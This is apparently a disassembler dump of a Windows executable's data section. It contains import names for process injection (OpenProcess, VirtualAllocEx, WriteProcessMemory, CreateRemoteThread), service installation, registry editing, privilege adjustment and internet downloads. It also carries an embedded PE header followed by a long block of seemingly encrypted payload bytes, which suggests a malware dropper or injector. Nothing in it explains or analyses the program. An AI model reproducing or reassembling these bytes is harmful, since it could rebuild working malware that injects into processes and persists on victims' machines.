		dd 80200h, 200h, 41123C00h, 41128C00h, 3 dup(41123C00h)
		dd 41136C00h, 41134C00h, 0Ah dup(0)
		dd 41128C00h, 4112D800h, 41132400h, 0FDh dup(0)
		dd 0FFFFFF00h, 5FFh, 0BC0h, 1D00h, 4C0h, 9600h,	4C0h, 8D00h
		dd 8C0h, 8E00h,	8C0h, 8F00h, 8C0h, 9000h, 8C0h,	9100h
		dd 8C0h, 9200h,	8C0h, 9300h, 8C0h, 7 dup(0)
		dd 40000h, 2Ch dup(0)
		dd 40FB3400h, 40FB4200h, 0
		dd 300h, 40FE1E00h, 0Fh	dup(0)
		dd 40FE1E00h, 0Fh dup(0)
		dd 40FE1E00h, 0Fh dup(0)
		dd 40FE1E00h, 0Fh dup(0)
		dd 7 dup(4101A400h), 7F7F7F00h,	2 dup(7F7F7F7Fh), 7F7F7Fh
		dd 4101A500h, 2	dup(4101A400h),	0
		dd 0F0000000h, 7Fh, 0F8000000h,	7Fh, 90000000h,	3Ch, 40000000h
		dd 3Eh,	32000000h, 40h,	0
		dd 11A8400h, 2 dup(0)
		dd 122AE00h, 11CC400h, 11BE400h, 2 dup(0)
		dd 124B200h, 11E2400h, 11C4800h, 2 dup(0)
		dd 1251C00h, 11E8800h, 11CA800h, 2 dup(0)
		dd 1253C00h, 11EE800h, 11CB000h, 2 dup(0)
		dd 1259800h, 11EF000h, 5 dup(0)
		dd 11F0400h, 11F1400h, 11F3000h, 11F4800h, 11F6000h, 11F7000h
		dd 11F8000h, 11F9600h, 11FA400h, 11FBA00h, 11FCA00h, 11FDA00h
		dd 11FEC00h, 1200000h, 1200E00h, 1202000h, 1202800h, 1203E00h
		dd 1204E00h, 1205C00h, 1206E00h, 1207E00h, 1208C00h, 1209C00h
		dd 120B000h, 120BC00h, 120D200h, 120EC00h, 120FA00h, 1211000h
		dd 1211C00h, 1212800h, 1213800h, 1214400h, 1215E00h, 1217400h
		dd 1218200h, 1219200h, 121A400h, 121B400h, 121C400h, 121D800h
		dd 121EA00h, 121FE00h, 1221000h, 1222600h, 1223C00h, 1224A00h
		dd 1225E00h, 1227A00h, 1228C00h, 1229C00h, 125A400h, 125B400h
		dd 125C200h, 125D200h, 125E200h, 125F000h, 1260200h, 1260E00h
		dd 1261C00h, 1262A00h, 1263600h, 1264400h, 1265000h, 1265C00h
		dd 1266C00h, 1268400h, 1269200h, 1269E00h, 126B400h, 126BE00h
		dd 126CC00h, 126E800h, 1270200h, 1271000h, 1272200h, 1273400h
		dd 1274C00h, 1276600h, 1277600h, 1278600h, 1279200h, 127A200h
		dd 127BA00h, 127CC00h, 127D800h, 0
		dd 122BC00h, 122CE00h, 122E000h, 122EE00h, 122FE00h, 1230E00h
		dd 1232E00h, 1234A00h, 1235A00h, 1236C00h, 1237C00h, 1239200h
		dd 123A800h, 123C000h, 123D800h, 123E800h, 123FA00h, 1240A00h
		dd 1241E00h, 1243200h, 1245000h, 1246E00h, 1248600h, 1249A00h
		dd 0
		dd 7300h, 7480h, 1780h,	1580h, 380h, 1280h, 0C80h, 980h
		dd 480h, 280h, 0D80h, 180h, 0F80h, 1080h, 1380h, 0A80h
		dd 3480h, 680h,	3980h, 0B80h, 1480h, 1180h, 6F80h, 80h
		dd 1252800h, 0
		dd 1254A00h, 1255A00h, 1256E00h, 1258400h, 0
		dd 11F0400h, 11F1400h, 11F3000h, 11F4800h, 11F6000h, 11F7000h
		dd 11F8000h, 11F9600h, 11FA400h, 11FBA00h, 11FCA00h, 11FDA00h
		dd 11FEC00h, 1200000h, 1200E00h, 1202000h, 1202800h, 1203E00h
		dd 1204E00h, 1205C00h, 1206E00h, 1207E00h, 1208C00h, 1209C00h
		dd 120B000h, 120BC00h, 120D200h, 120EC00h, 120FA00h, 1211000h
		dd 1211C00h, 1212800h, 1213800h, 1214400h, 1215E00h, 1217400h
		dd 1218200h, 1219200h, 121A400h, 121B400h, 121C400h, 121D800h
		dd 121EA00h, 121FE00h, 1221000h, 1222600h, 1223C00h, 1224A00h
		dd 1225E00h, 1227A00h, 1228C00h, 1229C00h, 125A400h, 125B400h
		dd 125C200h, 125D200h, 125E200h, 125F000h, 1260200h, 1260E00h
		dd 1261C00h, 1262A00h, 1263600h, 1264400h, 1265000h, 1265C00h
		dd 1266C00h, 1268400h, 1269200h, 1269E00h, 126B400h, 126BE00h
		dd 126CC00h, 126E800h, 1270200h, 1271000h, 1272200h, 1273400h
		dd 1274C00h, 1276600h, 1277600h, 1278600h, 1279200h, 127A200h
		dd 127BA00h, 127CC00h, 127D800h, 0
		dd 122BC00h, 122CE00h, 122E000h, 122EE00h, 122FE00h, 1230E00h
		dd 1232E00h, 1234A00h, 1235A00h, 1236C00h, 1237C00h, 1239200h
		dd 123A800h, 123C000h, 123D800h, 123E800h, 123FA00h, 1240A00h
		dd 1241E00h, 1243200h, 1245000h, 1246E00h, 1248600h, 1249A00h
		dd 0
		dd 7300h, 7480h, 1780h,	1580h, 380h, 1280h, 0C80h, 980h
		dd 480h, 280h, 0D80h, 180h, 0F80h, 1080h, 1380h, 0A80h
		dd 3480h, 680h,	3980h, 0B80h, 1480h, 1180h, 6F80h, 80h
		dd 1252800h, 0
		dd 1254A00h, 1255A00h, 1256E00h, 1258400h, 0
		db    0
		db 2 dup(0), 47h
aEttickcount	db 'etTickCount',0
		db    0
		db 2 dup(0), 49h
aNitializecriti	db 'nitializeCriticalSection',0
		db 2 dup(0), 45h
aNtercriticalse	db 'nterCriticalSection',0
		db    0
		db 2 dup(0), 4Ch
aEavecriticalse	db 'eaveCriticalSection',0
		db    0
		db 2 dup(0), 47h
aEtstdhandle	db 'etStdHandle',0
		db    0
		db 2 dup(0), 47h
aEtlocaltime	db 'etLocalTime',0
		db    0
		db 2 dup(0), 47h
aEtmodulefilena	db 'etModuleFileNameA',0
		align 4
		db    0
aLocalalloc_0	db 'LocalAlloc',0
		db    0
		db 2 dup(0), 43h
aReatefilemappi	db 'reateFileMappingA',0
		align 4
		db    0
aGetlasterror_2	db 'GetLastError',0
		align 4
		db    0
aMapviewoffil_0	db 'MapViewOfFile',0
		align 4
		db    0
aUnmapviewoff_0	db 'UnmapViewOfFile',0
		db 2 dup(0), 4Fh
aPenfilemapping	db 'penFileMappingA',0
		dd 43000000h, 65736F6Ch, 646E6148h, 656Ch, 6D6F4300h, 65726170h
		dd 69727453h, 41676Eh, 53000000h, 7065656Ch, 49000000h
		dd 7265746Eh, 6B636F6Ch, 78456465h, 6E616863h, 6567h, 65724300h
		dd 4D657461h, 78657475h, 41h, 65704F00h, 74754D6Eh, 417865h
		dd 43000000h, 74616572h, 6F725065h, 73736563h, 41h, 74655300h
		dd 7473614Ch, 6F727245h, 72h, 6C654400h, 46657465h, 41656C69h
		dd 47000000h, 65547465h, 6150706Dh, 416874h, 47000000h
		dd 65547465h, 6946706Dh, 614E656Ch, 41656Dh, 43000000h
		dd 4679706Fh, 41656C69h, 53000000h, 69467465h, 7441656Ch
		dd 62697274h, 73657475h, 41h, 746E4900h, 6F6C7265h, 64656B63h
		dd 68637845h, 65676E61h, 646441h, 45000000h, 50746978h
		dd 65636F72h, 7373h, 69615700h,	726F4674h, 676E6953h, 624F656Ch
		dd 7463656Ah, 6C000000h, 63727473h, 4169706Dh, 6C000000h
		dd 63727473h, 416E7970h, 43000000h, 74616572h, 65764565h
		dd 41746Eh, 53000000h, 76457465h, 746E65h, 57000000h, 46746961h
		dd 754D726Fh, 7069746Ch, 624F656Ch, 7463656Ah, 73h, 74654700h
		dd 656C6946h, 72747441h, 74756269h, 417365h, 52000000h
		dd 74657365h, 6E657645h, 74h, 6E694600h, 73655264h, 6372756Fh
		dd 4165h, 7A695300h, 52666F65h,	756F7365h, 656372h, 4C000000h
		dd 5264616Fh, 756F7365h, 656372h, 4C000000h, 526B636Fh
		dd 756F7365h, 656372h, 47000000h, 75437465h, 6E657272h
		dd 6F725074h, 73736563h, 56000000h, 75747269h, 6C416C61h
		dd 45636F6Ch, 78h, 74654700h, 75646F4Dh, 6148656Ch, 656C646Eh
		dd 41h,	74654700h, 636F7250h, 72646441h, 737365h, 57000000h
		dd 65746972h, 636F7250h, 4D737365h, 726F6D65h, 79h, 65724300h
		dd 52657461h, 746F6D65h, 72685465h, 646165h, 4F000000h
		dd 506E6570h, 65636F72h, 7373h,	74654700h, 74697845h, 65646F43h
		dd 65726854h, 6461h, 65724300h,	54657461h, 686C6F6Fh, 33706C65h
		dd 616E5332h, 6F687370h, 74h, 6F725000h, 73736563h, 69463233h
		dd 747372h, 50000000h, 65636F72h, 32337373h, 7478654Eh
		dd 47000000h, 6F437465h, 6E616D6Dh, 6E694C64h, 4B004165h
		dd 454E5245h, 2E32334Ch, 6C6C64h, 52000000h, 72436765h
		dd 65746165h, 4579654Bh, 4178h,	67655200h, 56746553h, 65756C61h
		dd 417845h, 52000000h, 6C436765h, 4B65736Fh, 7965h, 67655200h
		dd 6E65704Fh, 4579654Bh, 4178h,	67655200h, 656C6544h, 654B6574h
		dd 4179h, 696E4900h, 6C616974h,	53657A69h, 72756365h, 44797469h
		dd 72637365h, 6F747069h, 72h, 74655300h, 75636553h, 79746972h
		dd 63736544h, 74706972h, 6144726Fh, 6C63h, 74654700h, 72657355h
		dd 656D614Eh, 41h, 65704F00h, 4D43536Eh, 67616E61h, 417265h
		dd 4F000000h, 536E6570h, 69767265h, 416563h, 43000000h
		dd 65736F6Ch, 76726553h, 48656369h, 6C646E61h, 65h, 65755100h
		dd 65537972h, 63697672h, 61745365h, 737574h, 43000000h
		dd 676E6168h, 72655365h, 65636976h, 666E6F43h, 416769h
		dd 43000000h, 676E6168h, 72655365h, 65636976h, 666E6F43h
		dd 41326769h, 53000000h, 74726174h, 76726553h, 41656369h
		dd 43000000h, 74616572h, 72655365h, 65636976h, 41h, 6C654400h
		dd 53657465h, 69767265h, 6563h,	67655200h, 72657551h, 6C615679h
		dd 78456575h, 41h, 74655300h, 76726553h, 53656369h, 75746174h
		dd 73h,	67655200h, 65747369h, 72655372h, 65636976h, 6C727443h
		dd 646E6148h, 4172656Ch, 53000000h, 74726174h, 76726553h
		dd 43656369h, 446C7274h, 61707369h, 65686374h, 4172h, 6F6F4C00h
		dd 5070756Bh, 69766972h, 6567656Ch, 756C6156h, 4165h, 65704F00h
		dd 6F72506Eh, 73736563h, 656B6F54h, 6Eh, 6A644100h, 54747375h
		dd 6E656B6Fh, 76697250h, 67656C69h, 41007365h, 50415644h
		dd 2E323349h, 6C6C64h, 7300h, 7400h, 1700h, 1500h, 300h
		dd 1200h, 0C00h, 900h, 400h, 200h, 0D00h, 100h,	0F00h
		dd 1000h, 1300h, 0A00h,	3400h, 600h, 3900h, 0B00h, 1400h
		dd 1100h, 6F00h, 4F535700h, 32334B43h, 6C6C642Eh, 47000000h
		dd 70497465h, 77726F46h, 54647261h, 656C6261h, 68706900h
		dd 7061706Ch, 6C642E69h, 6Ch, 746E4900h, 656E7265h, 65704F74h
		dd 416Eh, 746E4900h, 656E7265h,	65704F74h, 6C72556Eh, 41h
		dd 746E4900h, 656E7265h, 6F6C4374h, 61486573h, 656C646Eh
		dd 49000000h, 7265746Eh, 5274656Eh, 46646165h, 656C69h
		dd 4E495700h, 54454E49h, 6C6C642Eh, 57000000h, 65746972h
		dd 736E6F43h, 41656C6Fh, 54000000h, 6553736Ch, 6C615674h
		dd 6575h, 65724300h, 54657461h,	61657268h, 64h,	73655200h
		dd 54656D75h, 61657268h, 64h, 69784500h, 72685474h, 646165h
		dd 47000000h, 74537465h, 75747261h, 666E4970h, 416Fh, 6C745200h
		dd 69776E55h, 646Eh, 61654800h,	65724370h, 657461h, 48000000h
		dd 44706165h, 72747365h, 796Fh,	61654800h, 6C6C4170h, 636Fh
		dd 61654800h, 41655270h, 636F6C6Ch, 48000000h, 46706165h
		dd 656572h, 48000000h, 53706165h, 657A69h, 48000000h, 56706165h
		dd 64696C61h, 657461h, 44000000h, 74656C65h, 69724365h
		dd 61636974h, 6365536Ch, 6E6F6974h, 43000000h, 74616572h
		dd 6C694665h, 4165h, 736C5400h,	6F6C6C41h, 63h,	74654700h
		dd 72727543h, 54746E65h, 61657268h, 644964h, 54000000h
		dd 7246736Ch, 6565h, 736C5400h,	56746547h, 65756C61h, 55000000h
		dd 6E61686Eh, 64656C64h, 65637845h, 6F697470h, 6C69466Eh
		dd 726574h, 47000000h, 79537465h, 6D657473h, 656D6954h
		dd 69467341h, 6954656Ch, 656Dh,	74654700h, 656C6946h, 65707954h
		dd 44000000h, 696C7075h, 65746163h, 646E6148h, 656Ch, 74655300h
		dd 646E6148h, 6F43656Ch, 746E75h, 47000000h, 6E457465h
		dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 46000000h
		dd 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h
		dd 4173h, 72695600h, 6C617574h,	6F6C6C41h, 63h,	72695600h
		dd 6C617574h, 72657551h, 79h, 69725700h, 69466574h, 656Ch
		dd 74655300h, 48647453h, 6C646E61h, 65h, 74655300h, 736E6F43h
		dd 43656C6Fh, 486C7274h, 6C646E61h, 7265h, 74655300h, 656C6946h
		dd 6E696F50h, 726574h, 52000000h, 46646165h, 656C69h, 53000000h
		dd 6E457465h, 46664F64h, 656C69h, 7 dup(0)
		dd 501C800h, 47h, 1000000h, 0A00h, 1800h, 80h, 501C800h
		dd 47h,	1000000h, 1F4100h, 3000h, 80h, 501C800h, 47h, 1000000h
		dd 41900h, 4800h, 1405800h, 1607800h, 2	dup(0)
		dd 505A4D00h, 200h, 0F000400h, 0FFFF00h, 0B800h, 0
		dd 1A004000h, 8	dup(0)
		dd 10000h, 10BA00h, 9B41F0Eh, 1B821CDh,	9021CD4Ch, 69685490h
		dd 72702073h, 6172676Fh, 756D206Dh, 62207473h, 75722065h
		dd 6E75206Eh, 20726564h, 336E6957h, 240A0D32h, 37h, 21h	dup(0)
		dd offset dword_455000
		dd 3014C00h, 3 dup(0)
		dd 8E00E000h, 10BA1h, 3	dup(0)
		dd 46B7A00h, 100000h, 2	dup(0)
		dd 100010h, 20000h, 2 dup(0)
		dd 400h, 0
		dd 4800000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 4703800h, 2800h, 6 dup(0)
		dd 4706000h, 1000h, 14h	dup(0)
		dd 4E4D4400h, 30h, 3000000h, 100000h, 5	dup(0)
		dd 6000h, 4E4D44C0h, 31h, 15BA300h, 3100000h, 15C0000h
		dd 40000h, 3 dup(0)
		dd 6000h, 4E4D44E0h, 32h, 7800h, 4700000h, 7800h, 1600000h
		dd 3 dup(0)
		dd 6000h, 0C0h,	63h dup(0)
		dd 0BFFC1800h, 88BDFFB7h, 0E9BFD267h, 71A8A055h, 4E30D46Ah
		dd 0F278A288h, 6ECE3829h, 0CBC43273h, 0A05EEE4Ch, 8DC417EFh
		dd 943DF855h, 0D3572A8Bh, 0DEFDBFF1h, 4EA7D312h, 6C1442DCh
		dd 0CCCBD282h, 5DA14CD0h, 187289E5h, 9A1B586Eh,	0B96CF766h
		dd 12F23F75h, 0C13EF681h, 0B1509B9Ch, 5513FD5Fh, 8C1B8CC2h
		dd 0D0A3B6A7h, 341060C7h, 51A42F68h, 0D5F10D3Fh, 0F4B323E0h
		dd 727AEB91h, 0F4F7DD6Bh, 20597160h, 0F0CDAB66h, 2A9A0932h
		dd 8AC84C78h, 20B3B03Ah, 0B48D58C9h, 6C6E3196h,	0C0CF167Ah
		dd 0BE8FE7C6h, 180CD87Ah, 919C4CFAh, 83D8567Ch,	2772C439h
		dd 8BD59291h, 0A9117286h, 95A4EF41h, 0FF569B23h, 815296E6h
		dd 0C700A2FCh, 308038C7h, 4397D0BEh, 0FF015D0Dh, 8C54B81Ch
		dd 6D8E27EFh, 0EF36BD93h, 97E071C6h, 0D3326DBh,	5FBC4876h
		dd 250AED34h, 72E42D27h, 74EA6A4Eh, 32BA98BDh, 0DF8A74D6h
		dd 20CD816Ah, 4648FA73h, 6054AAF8h, 9A5BDB54h, 93FC4B10h
		dd 8FFB318Eh, 7069B923h, 49E9E24h, 0A9B1FDF1h, 5C6C37Ch
		dd 0BDBA6C49h, 0B565A908h, 0E00923BDh, 0F14D1EE5h, 0E0D9B79Bh
		dd 35E74017h, 0D1744662h, 135ADCC2h, 41CC01ABh,	597DCC9Ch
		dd 0B39F56F2h, 0D279D70Bh, 962E9CEh, 0B1A635B3h, 0F7CBFC98h
		dd 0C6E3A477h, 0C3354CB6h, 0C35CDA7Bh, 1AE82FF6h, 5ECEFC90h
		dd 1C495F27h, 0DE73AB12h, 0AE9FD6CEh, 99B79843h, 1C20401Bh
		dd 776FBFE8h, 0AEE9FEFEh, 0B5FC3324h, 925A1A5Dh, 4FEA509h
		dd 839EF558h, 2B88788h,	0ED2D3E77h, 2A602CFDh, 7FD7D8C2h
		dd 0AC5160EDh, 0C980F8EAh, 0A3907764h, 831C40A6h, 0C21C0B76h
		dd 46231F4Dh, 0A0614AA3h, 6DFFB851h, 0DB6214B4h, 0CA4B1831h
		dd 0D3C79C16h, 57270583h, 20BF0AFDh, 73292384h,	196A8961h
		dd 71809263h, 5048DE8Dh, 0FD2AC21Eh, 0B6FDD348h, 0E08C1246h
		dd 0C206963Ch, 5FFED092h, 51477C03h, 4833D39Dh,	79345C52h
		dd 311698D3h, 0F16AB057h, 39AB9D0h, 0F566CBD0h,	8C235F7Bh
		dd 906ABA0h, 0E453ABACh, 6753C235h, 0C7E9DE66h,	668094CAh
		dd 6CDC075Eh, 0D9DC07C9h, 3B810D31h, 0CC8C4FE6h, 73A33F37h
		dd 0C3E8B320h, 0FF4FB063h, 1FF0B428h, 93F17AB4h, 0F1330106h
		dd 0ED8B5E48h, 4C41FBDAh, 0A76D494Dh, 2647ABEFh, 0DFEA429Bh
		dd 7D8099E8h, 0FFBE6981h, 0EA955FF7h, 0FF07B6CFh, 0D54B23B4h
		dd 0D514AFC9h, 0DEA4261Bh, 85568A5Fh, 0BAFE379Fh, 96FC55A3h
		dd 83CE97D8h, 0E90C5111h, 0C8512214h, 0D9722E71h, 4F57355Eh
		dd 8DB11A71h, 7248FC0Ah, 0A1383ADh, 81E7D21Bh, 0C9037951h
		dd 0E273317h, 0C3972835h, 67A44C9Bh, 0CAC3F452h, 348AD463h
		dd 0C04C70E9h, 0C52D3E73h, 56317A84h, 29D5BE76h, 8AB65714h
		dd 8D423400h, 0F4851BABh, 813E125Eh, 1D7E184Ah,	6515A5E5h
		dd 0CF4C130Bh, 66FF76A3h, 0B266B3FFh, 744FC062h, 816941A3h
		dd 0C8CC18B3h, 494D9C8Ch, 19C6D831h, 0E9260885h, 17D84391h
		dd 0B053C1B2h, 0F20C42AAh, 0FACA58CCh, 0EC647B07h, 3234C99Fh
		dd 0F74C9ABDh, 0B19BF5F3h, 7B3244ADh, 6DD19A6Eh, 0F8540CADh
		dd 54CF24Dh, 52AAF9D8h,	51E75BFAh, 53918968h, 7566F066h
		dd 84CAF36Dh, 973FD52Bh, 5E376BEFh, 2EBAB8h, 0FC78F401h
		dd 0B7FAEF07h, 293BC463h, 2B3B2ED8h, 0B07970E6h, 7EC13352h
		dd 0A6A0506Ah, 2E27E264h, 83EDA6CCh, 3A1335E7h,	3C4C2C66h
		dd 0A862A3D2h, 0F29AA1A3h, 0D24B6436h, 0DEBD2E90h, 98D7E877h
		dd 74D38F64h, 62094C77h, 0EF14BA58h, 0A0B125E4h, 1A1798AAh
		dd 4E9946AFh, 0DACE4431h, 878C0CB0h, 151C918Fh,	13FE48BAh
		dd 0B02756FBh, 7BA48000h, 8B194E81h, 762D8DA6h,	0C29B73A8h
		dd 6C03088Bh, 0F90932A2h, 0D6FD69C1h, 43F09BB3h, 48A1BED1h
		dd 22639175h, 1245BFB1h, 0E68400FCh, 5E02F8D3h,	4A3995A0h
		dd 0B9621E34h, 0A1EA393Ah, 0E6C4152Bh, 0E1DFD7C7h, 0CA06822Ah
		dd 0F9F9E998h, 71BCB4E0h, 0ACD761Ah, 88CE6FA2h,	42EAA79Bh
		dd 0A5A518C0h, 998518C5h, 7C187D6Eh, 5BD642FAh,	9EE48C83h
		dd 0C20BC7E1h, 5B04C7E5h, 652D1DDCh, 0C5E51C0Eh, 3B47B8B8h
		dd 517B5376h, 0E249411Dh, 49814538h, 77518C60h,	0DC0D7212h
		dd 8D2EFD83h, 4305D919h, 33746CB5h, 3496D050h, 7BA0FB3Ch
		dd 657A7D6Dh, 0DD187040h, 0FC0BD469h, 0A8C6766Ch, 0D46FB730h
		dd 1EE77E49h, 53673C3Ch, 56322F21h, 0A479A327h,	54451B9Bh
		dd 3F160177h, 25A62948h, 1F72EBB6h, 0A1D2EFD1h,	47D49BC5h
		dd 421EE18Bh, 5B745F5Ah, 798C058Fh, 9DE6EFBFh, 1BB7CAEAh
		dd 902CECB3h, 0EE843F6Eh, 3CDEAE9Bh, 39671734h,	0A1B84AB1h
		dd 8CF1F39Fh, 243D8640h, 9F6A986Eh, 1BC65ADDh, 5E6D3h
		dd 0D63E81F4h, 385A084Ch, 83C2B9A3h, 0A7589E81h, 7EA66B96h
		dd 9FAADACFh, 571B6BF0h, 0F7B17B1Fh, 36F3D53h, 573BF730h
		dd 840A7973h, 79691ECDh, 66C2BF63h, 0B4516237h,	7D2D53D8h
		dd 5C556C6Ch, 0A25DCDF6h, 0DDB7753Bh, 33037DDBh, 114CBEF6h
		dd 0DEAAFE5Ah, 45EE7E3Ah, 8B92C259h, 9344121h, 0AC42CCC6h
		dd 2CA96E6h, 4B06A108h,	1CAD4350h, 0F4EC472Ah, 0F195B28Bh
		dd 0D2A400A9h, 3F2F439Ch, 0AB249ED1h, 0F7F6F20Fh, 0BE50830Bh
		dd 0C9AF6ABCh, 36FA4B1h, 2007678Dh, 6EA603ABh, 0B7F33CEBh
		dd 0E22E9991h, 0FAD834C2h, 0CF8F33D0h, 0CA914019h, 4A35EF29h
		dd 0C713D369h, 0C9AD3649h, 7FAE7CECh, 19DE553Bh, 6AFF0C9Fh
		dd 0FA871837h, 7F33B840h, 70402016h, 993EE58h, 0CBEC49Bh
		dd 70C801Ah, 4A60E09Eh,	560242DBh, 0C1990A8Ah, 0D4C191FDh
		dd 0DDCAA595h, 0BEB398D5h, 505599E4h, 88E8E10Fh, 0E1907816h
		dd 0BA6F5C9Eh, 0E9C89C8Eh, 94F89D3Fh, 4473DF4Bh, 3E2E6638h
		dd 863A3086h, 7082F2B0h, 505EB0CDh, 896F1359h, 5D539A49h
		dd 0E41FE16Fh, 5C507622h, 5CAAD96Eh, 0D8C95E85h, 6D7A8438h
		dd 59336EA1h, 28458170h, 500C24AFh, 0A0E0E4Dh, 7D43151Ah
		dd 9367F8EDh, 708170E4h, 0B7F6D3B7h, 0B4B423D3h, 0A105AA06h
		dd 77096CA2h, 11770574h, 0FA4F6B6Bh, 10D68B5h, 4D1614C3h
		dd 0B442F7Bh, 0E05BA40Ah, 497BE480h, 0A9C91AB7h, 1E2CC35Dh
		dd 4805A269h, 679550B8h, 54BF5EAh, 0BC058752h, 63A75C98h
		dd 3CA388F4h, 6B857C07h, 0B5B3FE7Ah, 66009D15h,	5BC29661h
		dd 39990A21h, 0CD74F380h, 113C2871h, 7749435Ah,	7887A038h
		dd 6CAC81C5h, 0FBF503Ch, 0C9F4D786h, 8592452Bh,	8B40DE3Fh
		dd 76D49C36h, 0D6A43071h, 0E4CACD96h, 27B08626h, 79FC2FCEh
		dd 9E8D242Dh, 49139761h, 92854310h, 0A40A2EBh, 3D0C2168h
		dd 42C63C07h, 6DAD3BF2h, 0A6033E13h, 0C1AC6C70h, 0D14D7EA0h
		dd 475A9682h, 98B93ACBh, 444B6C8Eh, 926CCAEFh, 0D55D8D1Dh
		dd 0E10BD861h, 7B3DEEBCh, 0D5BBABC2h, 8864B9A1h, 99CFA77h
		dd 0C2456B09h, 22B124F2h, 19DCA8F4h, 7D543C21h,	14C75EF9h
		dd 0D74E0468h, 0C4FE3FDh, 67E0EFD2h, 403C06E0h,	0E3077523h
		dd 27C3855Ah, 4D3A630Fh, 17C0FA1Eh, 0CC879EDBh,	0C2C5167Dh
		dd 0BA8683BEh, 5C7B0E17h, 10310067h, 9AF0DAD1h,	48873F56h
		dd 0A38CB4D0h, 0EC225971h, 2B1DA0DFh, 547F2B90h, 0BCB48631h
		dd 875EB303h, 233B224h,	0B96C141Ch, 82659FCAh, 1FADF0E6h
		dd 0F7973C3Bh, 0E116EE88h, 354125C5h, 155AFEC2h, 9DE93BB4h
		dd 561891DAh, 1F4E9E34h, 4C6CD5ECh, 743A11C7h, 21D2E3A6h
		dd 0C87E15EEh, 3720F149h
		dd 0B978850Ch, 0B95D3305h, 970403AEh, 649B18Ch,	9121F266h
		dd 0E8C87D1Dh, 0A7F08D73h, 3649E72Ah, 2F76CD0Bh, 1803E58Ah
		dd 3D29CF36h, 9774BAD8h, 62423797h, 0B2EA4CC7h,	0C50F4928h
		dd 97D395BBh, 7BC27AF4h, 890AA878h, 0A5025A9h, 0BC5D98F3h
		dd 872CC088h, 9E8E1E0Ah, 53D1634Eh, 0E5299F54h,	83F4DD57h
		dd 0AA1140DDh, 0ECE8BC4Dh, 0AA8AE4E1h, 0EE6B3A9Ah, 347D439h
		dd 35889EDDh, 76E8978Fh, 7307A7B2h, 1AF517B7h, 0A2855975h
		dd 572E69CCh, 14914129h, 15D73CDDh, 4F8AA706h, 635E1B44h
		dd 0FC4BE63Ch, 1A48148Eh, 95B54042h, 0D9C434CFh, 28F8651Ch
		dd 0E8AD8B56h, 33013DB6h, 0D7213C36h, 39E53F67h, 0BC5C184Fh
		dd 8E960331h, 46C07A74h, 0DFEA13EAh, 0EA5A835Bh, 0E4B3077Fh
		dd 7D745A83h, 0F933533Dh, 73AE15Dh, 1FB53DAh, 6F20FA3Ah
		dd 0F84BA2F5h, 14A2706h, 0F64E88D4h, 0C3349309h, 7D7745D0h
		dd 968F470Fh, 40BCDF44h, 109893C6h, 401475CBh, 3946F40Bh
		dd 0E1F69E60h, 222ED86Dh, 2AB36C0Eh, 0EE7D79DBh, 0B49E5B5Ah
		dd 0E75223B5h, 438ED997h, 0B9D96590h, 5B37824Fh, 4DB59040h
		dd 0B84661BBh, 673E9411h, 1820CA1Dh, 9087BE1Ch,	220AFCA8h
		dd 7B971302h, 9B8B04BEh, 674BD4ABh, 2FE7B418h, 2B4580A1h
		dd 47C7F451h, 0CE2AD280h, 564E1999h, 0EBBA65E1h, 71033D0Dh
		dd 0E873C1F3h, 3E6BC1D5h, 0E06E9551h, 0DA872765h, 21B60A6Ah
		dd 6CA55B50h, 2FDD0D2Ch, 0E5469399h, 0D92E4197h, 0C84F1D7Ah
		dd 2DEA3857h, 315DA557h, 561E52B4h, 2A8DBC65h, 0A0F94FFDh
		dd 0E4EFBDD6h, 7BE49BD3h, 33492850h, 0D591891Ch, 59F30E42h
		dd 0A43A6D44h, 9379D307h, 0FD613CAFh, 1BB97F59h, 214AF9C2h
		dd 0FF508E05h, 0C6BFF40Ah, 9ADB77ABh, 0FA718D40h, 8885A08Fh
		dd 0FB2D87D2h, 0C026081Ah, 27FC2588h, 0F6AD4180h, 0C98DAD69h
		dd 85E736D0h, 0E04E8A4Ah, 697B068Eh, 50B19769h,	1D4C70F4h
		dd 4A75957Bh, 9A5973E6h, 0E7E14CE2h, 2C72C116h,	0B0408DAAh
		dd 0BBF22DE1h, 81612CE6h, 2257026Eh, 54CAA139h,	0BCF4D08Ch
		dd 1D42944Ch, 446E8828h, 588AEA66h, 78446404h, 0CCC03F4Bh
		dd 0F0B0851h, 5E7BB13Ch, 5BA785E6h, 5BCE57DBh, 0FF1F288Bh
		dd 31CCD659h, 33018C4Fh, 0A75816AAh, 150B3C2Fh,	0A91245D1h
		dd 0D1BBAB6Ch, 7BD6A3B2h, 40B1635Eh, 7DCB2C7Ch,	8F7948BCh
		dd 9D837BCEh, 221EDB8Dh, 4DFAB302h, 0D930C809h,	694F9E59h
		dd 588F72ECh, 10B8686Ah, 5AA0F5AFh, 5272CC22h, 0A629D55Ah
		dd 617100E0h, 461B53FEh, 34497A7Eh, 74CED957h, 19B5E5CCh
		dd 0DB0AE13Fh, 0FFCE0B56h, 0DB2FD595h, 3DEEA4D5h, 54384ADCh
		dd 0C7E48C57h, 0FFF80A09h, 38EB7F76h, 8F2A675Eh, 9003762Ch
		dd 9AEB3D8Dh, 76A5CED9h, 64180831h, 0D183A6A8h,	0DA5817A0h
		dd 2E38FCAEh, 4770219Eh, 6E70BD16h, 23945A99h, 69875FC1h
		dd 24BEC47h, 19D6000Eh,	0C0443C64h, 7B69AA64h, 0A801531Fh
		dd 0C93A1737h, 0EA7D0F9Dh, 0AD2C12CCh, 0FC033D4Ch, 0DA8AF4ADh
		dd 577AA942h, 952653F8h, 3E1A17F2h, 73C71C04h, 9D7F05BCh
		dd 0F4F7973Ah, 11DAFEABh, 1DFF0877h, 0DBF00035h, 1AE0DB24h
		dd 0ECA0ECD3h, 6D6136AAh, 0AA5F771Ch, 70E32B90h, 0E8FDAF69h
		dd 0AD3AADC3h, 2BF73163h, 41213879h, 1D22A608h,	9AF97963h
		dd 5C2696F3h, 45430BAFh, 4C0F985h, 0CFEBECFh, 69326AA6h
		dd 0A271C26Bh, 0C17410CDh, 67C35FBh, 0EC7F876h,	75D3F5D3h
		dd 4C09636Dh, 0E3A62A2h, 8FA54974h, 8DFA2822h, 6E12ED5h
		dd 89D70F60h, 0F6BA3BA5h, 18FDBE51h, 3BEB2E53h,	37234BB1h
		dd 7BDEECEAh, 8C1608B3h, 0A4AD0CFDh, 0D0CC7C5Dh, 11E8C079h
		dd 0BE77402Bh, 0C455EBCDh, 117AB801h, 31AF3700h, 1C6865B7h
